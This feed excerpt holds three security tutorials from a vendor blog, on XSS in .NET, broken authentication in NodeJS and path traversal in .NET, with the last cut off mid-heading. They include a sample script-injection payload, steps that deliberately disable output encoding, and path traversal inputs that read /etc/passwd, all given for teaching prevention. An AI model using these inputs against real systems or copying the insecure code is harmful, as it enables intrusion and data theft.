the name suggests, is when a malicious agent is able to successfully introduce and run some unauthorized code into an application. This injected code interacts with the proper code of the app, making it behave in ways it shouldn&amp;#39;t.&lt;/p&gt;&lt;p&gt;XSS attacks happen when malicious individuals are able to &amp;quot;trick&amp;quot; a legitimate website into unwillingly executing a malicious script that&amp;#39;s provided by exploiting the usual mechanisms for user input—e.g., URL parameters or form fields. In short, the attacker exploits vulnerable sites that accept HTML code as input and then displays that without encoding it, and injects an unauthorized &lt;b&gt;&amp;lt;script&amp;gt;&lt;/b&gt; tag in the hopes it will be accepted and executed.&lt;/p&gt;&lt;h3&gt;Why Is XSS Dangerous?&lt;/h3&gt;&lt;p&gt;In the worst-case scenario, a successful XSS attack can cause catastrophic damage to an application. By successfully executing the script, the attacker could gain access to browser cookies—which would allow them to perform actions or access data on behalf of the user—local storage, and more. The consequences can range from unauthorized data access to account stealing and even unauthorized financial transactions.&lt;/p&gt;&lt;p&gt;Keep in mind that XSS is often used together with—and facilitates—other types of attacks, such as&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt; &lt;u&gt;CSRF&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;How Does XSS Work?&lt;/h3&gt;&lt;p&gt;Successful XSS attacks are usually due to websites blindly trusting all user input. I&amp;#39;ll get back to this later, but it&amp;#39;s never too much to reiterate: never trust user input!&lt;/p&gt;&lt;p&gt;Anyway, how does an XSS attack happen? Well, here&amp;#39;s a quick example. Let&amp;#39;s say you have a web app that takes an option as a URL parameter, such as this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.example.com/products.html?category=phone&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then, let&amp;#39;s say the entered value gets displayed in the page&amp;#39;s HTML:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Category: phone&amp;lt;/h2&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;What if the user entered something like this?&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.example.com/products.html?category=&amp;lt;script&amp;gt;alert(&amp;#39;hello!&amp;#39;);&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this case, the site isn&amp;#39;t protected against XSS. So, what would happen is that the script would be executed, and you&amp;#39;d see the &lt;b&gt;hello&lt;/b&gt; message being displayed. And, of course, in real life, the attacker would enter some malicious excerpt of code instead of a benign message.&lt;/p&gt;&lt;h2&gt;.NET XSS: How Is Your App Protected?&lt;/h2&gt;&lt;p&gt;As is the case with several other security threats, .NET is already well defended against XSS, and you&amp;#39;d actually have to work a little bit to make yourself unprotected. To understand how that works, let&amp;#39;s create a sample project.&lt;/p&gt;&lt;h3&gt;Create a Sample Project&lt;/h3&gt;&lt;p&gt;Start by firing up Visual Studio and clicking on &lt;b&gt;Create a new project&lt;/b&gt;. Then, you&amp;#39;ll be prompted to pick a project type. Choose &lt;b&gt;ASP.NET Core Web App (Model-View-Controller)&lt;/b&gt;, like in the following image:&lt;/p&gt;&lt;p&gt;On the next screen, enter a project name and location, and a name for the solution:&lt;/p&gt;&lt;p&gt;On the next screen, simply accept all of the defaults and click on &lt;b&gt;Create&lt;/b&gt;. After Visual Studio finishes creating the application, perform a quick smoke test. Press F5, and your default browser should open and show you something like this:&lt;/p&gt;&lt;h3&gt;Add a Model&lt;/h3&gt;&lt;p&gt;The next step is to add a model. In Visual Studio, go to the Solution Explorer, right-click the &lt;b&gt;Models&lt;/b&gt; folder, then go to &lt;b&gt;Add&lt;/b&gt; and &lt;b&gt;Class&lt;/b&gt;. Enter &lt;b&gt;Todo&lt;/b&gt; as the name of the class and confirm. After you create the class, replace its contents with this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;So, this sample application will be a big cliché: a to-do list. The class above represents a to-do item, with an ID, a description, and a due date. For the next step, we want to create the controller and views for our app.&lt;/p&gt;&lt;h3&gt;Scaffold the Controller and Views&lt;/h3&gt;&lt;p&gt;Go to the Solution Explorer and right-click the folder &lt;b&gt;Controllers&lt;/b&gt;. Then, go to &lt;b&gt;Add&lt;/b&gt; &amp;gt; &lt;b&gt;New Scaffolded item&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;On the next screen, pick &lt;b&gt;MVC controller with views, using Entity Framework&lt;/b&gt;, and then click &lt;b&gt;Add&lt;/b&gt;:&lt;/p&gt;&lt;p&gt;You&amp;#39;ll then be prompted to enter a few important pieces of information.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;First, you have to define which model you&amp;#39;re generating a controller for. Pick the &lt;b&gt;Todo&lt;/b&gt; class.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Then, you&amp;#39;ll have to provide a database context for the controller. We don&amp;#39;t have one, so click the plus sign and add a new context.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Finally, change the Controller name, as Visual Studio will use the pluralization rules and come up with &lt;b&gt;TodoesController&lt;/b&gt;. I think that &lt;b&gt;TodosController&lt;/b&gt; looks nicer, so I changed it to that.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;As for the other options, leave them with their default values. Finish by clicking on &lt;b&gt;Add&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Before running the application, let&amp;#39;s make a small change so we can use an in-memory database. Go to the &lt;b&gt;Program.cs&lt;/b&gt; class and remove the following line:&lt;/p&gt;&lt;p&gt;&lt;code&gt;builder.Services.AddDbContext&amp;lt;XSSNetDemoContext&amp;gt;(options =&amp;gt; options.UseSqlServer(builder.Configuration.GetConnectionString(&amp;quot;XSSNetDemoContext&amp;quot;)));&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Replace it with the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;builder.Services.AddDbContext&amp;lt;XSSNetDemoContext&amp;gt;(options =&amp;gt; options.UseInMemoryDatabase(&amp;quot;todos&amp;quot;));&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Finally, go to the &lt;b&gt;Tools&lt;/b&gt; menu, then &lt;b&gt;NuGet Package Manager&lt;/b&gt; &amp;gt; &lt;b&gt;Package Manager Console&lt;/b&gt;. Paste and run the following command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Install-Package Microsoft.EntityFrameworkCore.InMemory&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;h3&gt;Let&amp;#39;s Run It&lt;/h3&gt;&lt;p&gt;You&amp;#39;re finally ready to run the app. Press F5 in Visual Studio. Your browser will open the app. Go to the address bar and append /Todos to the address. You should see something like this:&lt;/p&gt;&lt;p&gt;Click on &lt;b&gt;Create New&lt;/b&gt;, and you&amp;#39;ll be taken to a new screen, where you&amp;#39;ll be able to add a new todo item:&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s test whether we can inject some script into this app. On the due date line, enter whatever you want. But for the description, try to enter some script, like &lt;b&gt;&amp;lt;script&amp;gt;alert(&amp;#39;hey!&amp;#39;);&amp;lt;/script&amp;gt;&lt;/b&gt;, and then click on the &lt;b&gt;Create&lt;/b&gt; button.&lt;/p&gt;&lt;p&gt;Luckily, the result is quite anti-climatic:&lt;/p&gt;&lt;p&gt;As you can see, the application simply displays the &amp;quot;malicious&amp;quot; script instead of executing it. How is this possible? Well, if you use your browser&amp;#39;s feature of showing the page&amp;#39;s underlying HTML code, you&amp;#39;ll see something like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The code above shows that the less-than and greater-than signs from the &amp;lt;script&amp;gt; tag were replaced with those funny-looking codes. Those are HTML entities, which means the HTML tags were encoded. That way, the page can safely display them instead of running them.&lt;/p&gt;&lt;h3&gt;Opening the App to XSS&lt;/h3&gt;&lt;p&gt;For the sake of curiosity, let&amp;#39;s say you want to be able to make the app vulnerable to XSS. How would you go about that?&lt;/p&gt;&lt;p&gt;Go to the &lt;b&gt;Views&lt;/b&gt; folder. Locate the &lt;b&gt;Todos&lt;/b&gt; folder, and then open the file called &lt;b&gt;Index.cshtml&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Inside the file, locate this line:&lt;/p&gt;&lt;p&gt;&lt;code&gt;@Html.DisplayFor(modelItem =&amp;gt; item.Description)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Replace it with the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;@Html.Raw(item.Description)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As the code suggests, now we&amp;#39;re displaying the raw HTML without any type of encoding. Just to make things clear, &lt;i&gt;this is terrible practice! Don&amp;#39;t do it in real life.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Now, run the application again, inject the malicious script as the description again, and you&amp;#39;ll see this:&lt;/p&gt;&lt;h2&gt;Another Bad Example&lt;/h2&gt;&lt;p&gt;Before we go, here&amp;#39;s another example of what not to do. Go back to the &lt;b&gt;TodosController.cs&lt;/b&gt; class and add the following method:&lt;/p&gt;&lt;p&gt;&lt;code&gt;public string Introduce(string id)
        {
            return $&amp;quot;Hello, my name is {id}.&amp;quot;;
        }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, run the app again. Then, append /Todos/Introduce/&amp;lt;YOUR-NAME&amp;gt; to the address, making sure to use your actual name. You&amp;#39;ll see something like this:&lt;/p&gt;&lt;p&gt;Now you know what to do. Replace the name with a script and voilà—it will be executed. How can you solve this problem? Simple:&lt;/p&gt;&lt;p&gt;&lt;code&gt;public string Introduce(string id)
        {
            return HtmlEncoder.Default.Encode($&amp;quot;Hello, my name is {id}.&amp;quot;);
        }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Make sure to add &lt;b&gt;using System.Text.Encodings.Web;&lt;/b&gt; to your list of usings and you&amp;#39;re done. Now the code properly encodes the entered code for HTML, avoiding the interpretation and execution of scripts.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;XSS is a security threat that can have devastating effects, but avoiding it is relatively simple. You have to remember to never trust user input and always encode the HTML code that is to be displayed.&lt;/p&gt;&lt;p&gt;Additionally, it helps if you don&amp;#39;t allow the user to submit HTML at all—for rich-text formatting purposes, for instance. If there&amp;#39;s a need, prefer a format such as markdown that you can then safely convert to HTML when it&amp;#39;s time to display it.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Carlos Schults. &lt;/i&gt;&lt;a href=&quot;https://carlosschults.net&quot;&gt;&lt;u&gt;&lt;i&gt;Carlos&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a consultant and software engineer with experience in desktop, web, and mobile development. Though his primary language is C#, he has experience with a number of languages and platforms. His main interests include automated testing, version control, and code quality.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[NodeJS Broken Authentication Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/nodejs-broken-authentication-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;One of the most vital features a developer implements in an application on a server is &lt;b&gt;authentication&lt;/b&gt;. Authentication has a great impact on future features of your application. For instance, you can’t implement role based access control without it. You also can’t add payments in your app without it.  In fact, in most scenarios, it&amp;#39;s literally the first step in your app&amp;#39;s journey! &lt;/p&gt;&lt;p&gt;Authentication greatly impacts your business decisions, your product, and your users. For example, to evaluate your daily or weekly active users, you extract data from users’ authenticated sessions. All in all, it’s a security feature you can never compromise on. &lt;/p&gt;&lt;p&gt;However, there are use cases that you might unintentionally miss when implementing authentication. Or there could be scenarios where your authentication workflow introduces vulnerabilities. In these cases, your application suffers from broken authentication. &lt;/p&gt;&lt;p&gt;So in this post, I&amp;#39;ll talk about what broken authentication is. I&amp;#39;ll also show you how you can prevent it in your NodeJS application. &lt;/p&gt;&lt;h2&gt;Authentication on the Server Side&lt;/h2&gt;&lt;p&gt;In traditional web applications, authentication has two components. First, it uses a set of backend web services for login, signup, password reset, and other secure features. Second, there’s a UI that integrates those services on the front end. Since Node.js is primarily used for building back end APIs, let&amp;#39;s talk about the generic implementation of authentication on the server side.&lt;/p&gt;&lt;p&gt;The client, or the front end, takes the user&amp;#39;s credentials as input. It then sends these credentials to the back end. For this purpose, it makes an HTTP request to an authentication endpoint. This could be &lt;b&gt;/login&lt;/b&gt; or&lt;b&gt; /signup,&lt;/b&gt; which denote login and signup API calls, respectively. &lt;/p&gt;&lt;p&gt;The server receives the credentials from the request and validates them. If the credentials are correct, it creates an authentication token for that session. It sends back this authentication, or auth token, to the client. The client stores this token on the front end and sends it with every subsequent request. The auth token specifies two things: it holds a signature of the authenticated user, and it represents the user in an authenticated state.&lt;/p&gt;&lt;h2&gt;Broken Authentication Scenarios&lt;/h2&gt;&lt;p&gt;There are a number of situations in which a loophole may arise in this workflow. Let&amp;#39;s discuss them briefly. &lt;/p&gt;&lt;h3&gt;Poor Session Management&lt;/h3&gt;&lt;p&gt;From the moment you create an auth token, it becomes the single entity that validates if a user is signed in or not. This means you need to think about the following issues: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;What &lt;a href=&quot;https://en.wikipedia.org/wiki/Time_to_live&quot;&gt;&lt;u&gt;&lt;b&gt;TTL&lt;/b&gt;&lt;/u&gt;&lt;/a&gt; do you set for a new auth token?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;How do you handle fake authentication requests via a legitimate token?&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Together, the answers to these questions determine the strength of your application’s session management. If a user&amp;#39;s authentication token is leaked to an attacker, that user&amp;#39;s account and private resources could be compromised. &lt;/p&gt;&lt;p&gt;The attacker could make false requests on behalf of the user and access their private resources. &lt;/p&gt;&lt;p&gt;There are other scenarios, such as when the user is on a public network or device. What if the user forgets to log out of their account? Or what if a vicious client-side script accesses auth token from the front end? &lt;/p&gt;&lt;p&gt;If your workflow doesn&amp;#39;t address the three issues mentioned above, your users&amp;#39; accounts could be compromised. Eventually, you&amp;#39;d have a broken authentication vulnerability due to poor session management in your application. &lt;/p&gt;&lt;h3&gt;Weak Credentials&lt;/h3&gt;&lt;p&gt;What&amp;#39;s stopping an attacker from accessing your users’ accounts if they set passwords that can be easily guessed? Weak credentials are a major reason for broken authentication. But you might be thinking, user-set passwords are not really under your control, right? &lt;/p&gt;&lt;p&gt;You&amp;#39;re right, they aren’t. But that doesn&amp;#39;t mean you can&amp;#39;t do anything about it! Weak credentials can be exploited in many points. It could happen during account creation when a user generates a brand new password. Or it could happen during a password reset if you let users reset to older passwords. &lt;/p&gt;&lt;p&gt;For example, take the case where a user needs to reset their password, and they can re-use one of their older passwords. If an attacker intercepted that older password at one time in the past, and you allow the user to choose the old password, it&amp;#39;s easier for the same attacker to guess the password, knowing that users often recycle their passwords. This makes it easier for the attacker to break into the user&amp;#39;s account. &lt;/p&gt;&lt;p&gt;Thus, it&amp;#39;s important that you evaluate how you store passwords, validate their strength, and reset them in your authentication workflow. Let&amp;#39;s now move on and learn how we can prevent broken authentications in our Node.js application.&lt;/p&gt;&lt;h2&gt;Use Hashing to Store Passwords&lt;/h2&gt;&lt;p&gt;Hashing might seem obvious, but is still often skipped in authentication systems. You should never store passwords as plain text. Instead, you should hash them as secure encrypted values. Another important practice is that you should not set out to create your own hashing algorithms. &lt;/p&gt;&lt;p&gt;Encryption is a complex subject. It&amp;#39;s best left to experts, so the safest thing to do is use a trusted and popular library for hashing. For instance, you could use something like &lt;a href=&quot;https://www.npmjs.com/package/bcrypt&quot;&gt;&lt;u&gt;bcrypt&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the above code, we use a Mongoose model in which we hash the password using bcrypt. We then save this hashed password in our database. For login, we let bcrypt decrypt the hashed password and compare it to the stored credentials to validate the user&amp;#39;s login details.&lt;/p&gt;&lt;p&gt;In the entire process, neither the server, the database developer, or bcrypt knows the user’s password. This standard process is the first step of implementing authentication the right way to prevent broken authentication! &lt;/p&gt;&lt;h2&gt;Session Management in NodeJS&lt;/h2&gt;&lt;p&gt;Session management plays a vital role in shaping your authentication workflow. So now we&amp;#39;ll look at how we can strengthen session management by implementing some small changes in our authentication APIs. &lt;/p&gt;&lt;p&gt;Here&amp;#39;s the controller of a login REST API in Node.js: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the above API controller, we validate credentials using Mongoose and MongoDB. If the credentials are valid, we get the user details back from our MongoDB. Then, inside the response, we send a &lt;a href=&quot;https://en.wikipedia.org/wiki/Universally_unique_identifier#:~:text=A%20universally%20unique%20identifier%20(UUID,(GUID)%20is%20also%20used.&amp;text=Adoption%20of%20UUIDs%20is%20widespread,for%20parsing%20their%20textual%20representation.&quot;&gt;&lt;u&gt;UUID&lt;/u&gt;&lt;/a&gt; as an auth token. &lt;/p&gt;&lt;h3&gt;Use Safe and Secure JWT With TTL&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://jwt.io/&quot;&gt;&lt;u&gt;JWT&lt;/u&gt;&lt;/a&gt; stands for JSON Web Token. It&amp;#39;s a JSON object that has some encoded information inside it, such as a signature. It&amp;#39;s a standard way to create safe and secure authentication tokens. So in the controller above, let&amp;#39;s create a function that generates a strong and secure JWT. &lt;/p&gt;&lt;p&gt;You can use the &lt;a href=&quot;https://www.npmjs.com/package/jsonwebtoken&quot;&gt;&lt;u&gt;jsonwebtoken&lt;/u&gt;&lt;/a&gt; library in Node.js to generate a JWT. We’ll use the logged in user&amp;#39;s id as a signature and also set a TTL for our JWT. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the second parameter in the &lt;b&gt;jwt.sign&lt;/b&gt; method, we added a secret &lt;a href=&quot;https://en.wikipedia.org/wiki/Salt_(cryptography)&quot;&gt;&lt;u&gt;salt&lt;/u&gt;&lt;/a&gt; keyword. For the purpose of demonstration, I’ve taken something simple. However, you must and should use something more complex. &lt;/p&gt;&lt;p&gt;The TTL for our authentication token is three days, but you can adjust it to match the needs of your application. For example, you can use fewer days. You can also make it dynamic by setting it to depend on when the user logs in, where the user logs in from, and so on. &lt;/p&gt;&lt;p&gt;So now our login controller becomes: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Great! You&amp;#39;ve just made your authentication workflow more secure and reduced the chances of encountering a broken authentication vulnerability. Let&amp;#39;s move forward. &lt;/p&gt;&lt;h3&gt;Use an HttpOnly Cookie With TTL&lt;/h3&gt;&lt;p&gt;We send the JWT or auth token as a cookie. This cookie sets itself to the client&amp;#39;s browser. However, there is nothing special about this cookie. Any client-side JavaScript can actually access, modify, or delete the cookie. Also, by giving our client access to the cookie, the client is held partly responsible for handling and managing the user’s session. &lt;/p&gt;&lt;p&gt;We know that client-side code is easily accessible via the browser. That means client-side validations can be easily bypassed on the front end. The best practice is to let the server handle session management end to end. We can make this auth token a special server-side cookie. This is called an &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies&quot;&gt;&lt;u&gt;HttpOnly&lt;/u&gt;&lt;/a&gt; cookie. Only the server that sets this cookie can access it. &lt;/p&gt;&lt;p&gt;Moreover, the HttpOnly cookie is automatically sent with every request from the browser. Therefore, the server remains completely in charge of the entire authentication workflow. &lt;/p&gt;&lt;p&gt;Even if someone attacks the client-side code, client-side JavaScript cannot access or modify the cookie via JavaScript. &lt;/p&gt;&lt;p&gt;&lt;code&gt;res.cookie(&amp;#39;jwt&amp;#39;, token, { httpOnly: true, maxAge: maxAge * 1000 });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We also set a TTL on the cookie. Remember, the auth token&amp;#39;s TTL represents session duration, and now the cookie&amp;#39;s TTL represents that auth token&amp;#39;s lifetime. You need to ensure you implement both for a foolproof authentication workflow. &lt;/p&gt;&lt;h2&gt;Validate Credential Strength on the Server&lt;/h2&gt;&lt;p&gt;We can validate the strength of a user’s password on the server side using a library called &lt;a href=&quot;https://www.npmjs.com/package/owasp-password-strength-test&quot;&gt;&lt;u&gt;owasp-password-strength-tester&lt;/u&gt;&lt;/a&gt;, which validates the password’s strength based on some common &lt;a href=&quot;https://owasp.org/&quot;&gt;&lt;u&gt;guidelines&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;You can install it by running the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm install owasp-password-strength-test&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then, import it as shown below: &lt;/p&gt;&lt;p&gt;&lt;code&gt;const owasp = require(&amp;#39;owasp-password-strength-test&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, we can modify our signup controller accordingly:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now, if the user has a weak password, your SignUp API sends an error. Inside this error, it says what the password is missing to make it secure. The client can use this information to make the user choose a stronger password. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To sum up, here&amp;#39;s what your server needs to prevent broken authentication: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Hashing to store passwords in the database&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Secure JWT as auth tokens with valid TTL&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;JWT as an HttpOnly cookie, if possible&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Password strength validation&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If you wish to explore some client-side perspectives on broken authentication, check out my posts on this subject for &lt;a href=&quot;https://www.stackhawk.com/blog/react-broken-authentication-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;React&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.stackhawk.com/blog/angular-broken-authentication-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;Angular&lt;/u&gt;&lt;/a&gt;.   &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;u&gt;&lt;i&gt;Siddhant&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[.NET Path Traversal Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/net-path-traversal-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this article, we will be exploring the concepts of path traversal attacks, and what approaches we can take to mitigate them.&lt;/p&gt;&lt;p&gt;We will first briefly explain what path traversal attacks are. Then we will explore some typical examples you can find on the web. And finally, we will suggest some possible fixes to address these exploits.&lt;/p&gt;&lt;p&gt;By the end of this article, you&amp;#39;ll have a basic understanding of the concepts of path traversal and be qualified to implement mitigation strategies on your projects.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; This article is aimed at .NET developers. Therefore, we expect that you have a basic understanding of the .NET development stack. &lt;/p&gt;&lt;p&gt;If you haven&amp;#39;t explored this platform yet, please check &lt;a href=&quot;https://docs.microsoft.com/en-us/aspnet/core/?view=aspnetcore-6.0&quot;&gt;&lt;u&gt;this&lt;/u&gt;&lt;/a&gt; site for more information.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Path Traversal?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Broadly speaking, path traversal is an attack that takes advantage of flawed access control implementations on the server side, particularly for file access.&lt;/p&gt;&lt;p&gt;In a path traversal attack, a bad actor would attempt to access restricted files in the server by injecting malicious user input into the application. &lt;/p&gt;&lt;p&gt;Think of it as SQL injection but on directories instead of the database.&lt;/p&gt;&lt;p&gt;Now, obviously, it is pretty clear why users having unauthorized access to server files is terrible news. An ill-intended individual can wreak havoc in our systems and take over the platform with this kind of power. &lt;/p&gt;&lt;p&gt;This is why it is paramount to have proper security mechanisms in place.&lt;/p&gt;&lt;p&gt;This is a brief and simplistic explanation of the concepts of path traversal, and exploring further goes beyond the bounds of this article. &lt;/p&gt;&lt;p&gt;In that post, we dive much deeper into the oddities that make this vulnerability possible and why the system your server is running in matters.&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s move on and see a few examples of path traversal attacks.&lt;/p&gt;&lt;h2&gt;Path Traversal Attacks&lt;/h2&gt;&lt;p&gt;So, what does a characteristic path traversal attack look like, you may ask?&lt;/p&gt;&lt;p&gt;Well, it&amp;#39;s as simple as this.&lt;/p&gt;&lt;p&gt;&lt;code&gt;../../etc/passwd&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Surprising, right?&lt;/p&gt;&lt;p&gt;Path traversal essentially boils down to finding ways to get to folders that the developer and application didn&amp;#39;t intend for you to access. So, if you have a basic understanding of path logic and Linux or the command line, you can go places on an unprotected application.&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s look at some specific types of path traversal attacks.&lt;/p&gt;&lt;h3&gt;Relative Path Attack&lt;/h3&gt;&lt;p&gt;A relative path attack is what we illustrated above. &lt;/p&gt;&lt;p&gt;By exploiting the user input validation, or lack thereof, attackers might attempt to access restricted files in the server. In this case, the &lt;b&gt;passwd&lt;/b&gt; file contains our secrets on the server.&lt;/p&gt;&lt;p&gt;A simple way to mitigate this vulnerability is, of course, to apply proper user input validation. By including a command as simple as &lt;b&gt;path.normalize()&lt;/b&gt; and sanitizing the user input—something you should always do, by the way—you can save yourself from a lot of headaches and issues down the road.&lt;/p&gt;&lt;h3&gt;Poison Null Bytes Attack&lt;/h3&gt;&lt;p&gt;Providing a null byte, or &lt;b&gt;\0&lt;/b&gt;, at the end of a string in an HTTP request allows an attacker to bypass the string validation used to sanitize user input and get access to unauthorized files and directories.&lt;/p&gt;&lt;p&gt;What would that look like on the web? Well, something like this.&lt;/p&gt;&lt;p&gt;&lt;code&gt;/../../../../../../../../../../../../../../../../etc/passwd%00&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Do you see the &lt;b&gt;%00&lt;/b&gt; at the end? Unfortunately, our poor validation would end up translating this to something like &lt;b&gt;\0.txt\0&lt;/b&gt; and potentially give access to the &lt;b&gt;passwd&lt;/b&gt; file. Yikes!&lt;/p&gt;&lt;p&gt;To prevent this kind of attack from thwarting our security, you only need to validate the user input with the following.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Relatively straightforward, right?&lt;/p&gt;&lt;p&gt;As we mentioned before, path traversal attacks are not incredibly sophisticated. Instead, they depend on poor access control implementations or edge case vulnerabilities by poorly updated code. &lt;/p&gt;&lt;p&gt;However, they can be very dangerous, and we should mitigate them as much as possible. &lt;/p&gt;&lt;p&gt;The good news is that it&amp;#39;s not that hard to do so.&lt;/p&gt;&lt;h2&gt;Other Mitigating Approaches to Path Traversal Attacks&lt;/h2&gt;&lt;p&gt;Luckily, there are many things we can do to cover the possible gaps in our security. We&amp;#39;ve listed a few here.&lt;/p&gt;&lt;h3&gt;Path Prefix Validation&lt;/h3&gt;&lt;p&gt;But what about allowing some level of traversal in your application? There might be cases where you want the application to enable the user to find files in different folders, such as profile pictures and essays, both in their folders. &lt;/p&gt;&lt;p&gt;You can implement hardcoded path validations like variables used when requesting specific resources. However, you could open yourself to prefix path traversal attacks by doing so.&lt;/p&gt;&lt;p&gt;An attacker can freely traverse the directories if the user can enter dots and slashes in the application without validating the resulting string. &lt;/p&gt;&lt;p&gt;To mitigate this, we need to validate that the user input does not contain these characters and strip them or flat out display an error.&lt;/p&gt;&lt;p&gt;Something as simple as this would do:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Safelisting&lt;/h3&gt;&lt;p&gt;Safelisting is a straightforward and relatively effective method to reduce the potential for exploits. Of course, you won&amp;#39;t always be able to use it, but you should when you can.&lt;/p&gt;&lt;p&gt;A straightforward example of safelisting is validating that the user input conforms to a certain standard predefined. For example, if you have coded your application only to create and work with files with lowercase alphanumeric characters, you can validate that the user only inputs such characters.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;By adding this validation to user inputs, you can have an extra layer of protection against malicious attacks.&lt;/p&gt;&lt;h3&gt;Path Concatenation&lt;/h3&gt;&lt;p&gt;Finally, one way to address all these gaps and create a robust solution to all the potential vulnerabilities we might face is to implement a general validation scheme that comprises all these tests and makes a secure final path string.&lt;/p&gt;&lt;p&gt;One example of a solution would look something like this.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;As you can see, we have incorporated all the checks and validations already discussed to encompass any potential abuse of our system.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Stop Path Traversal 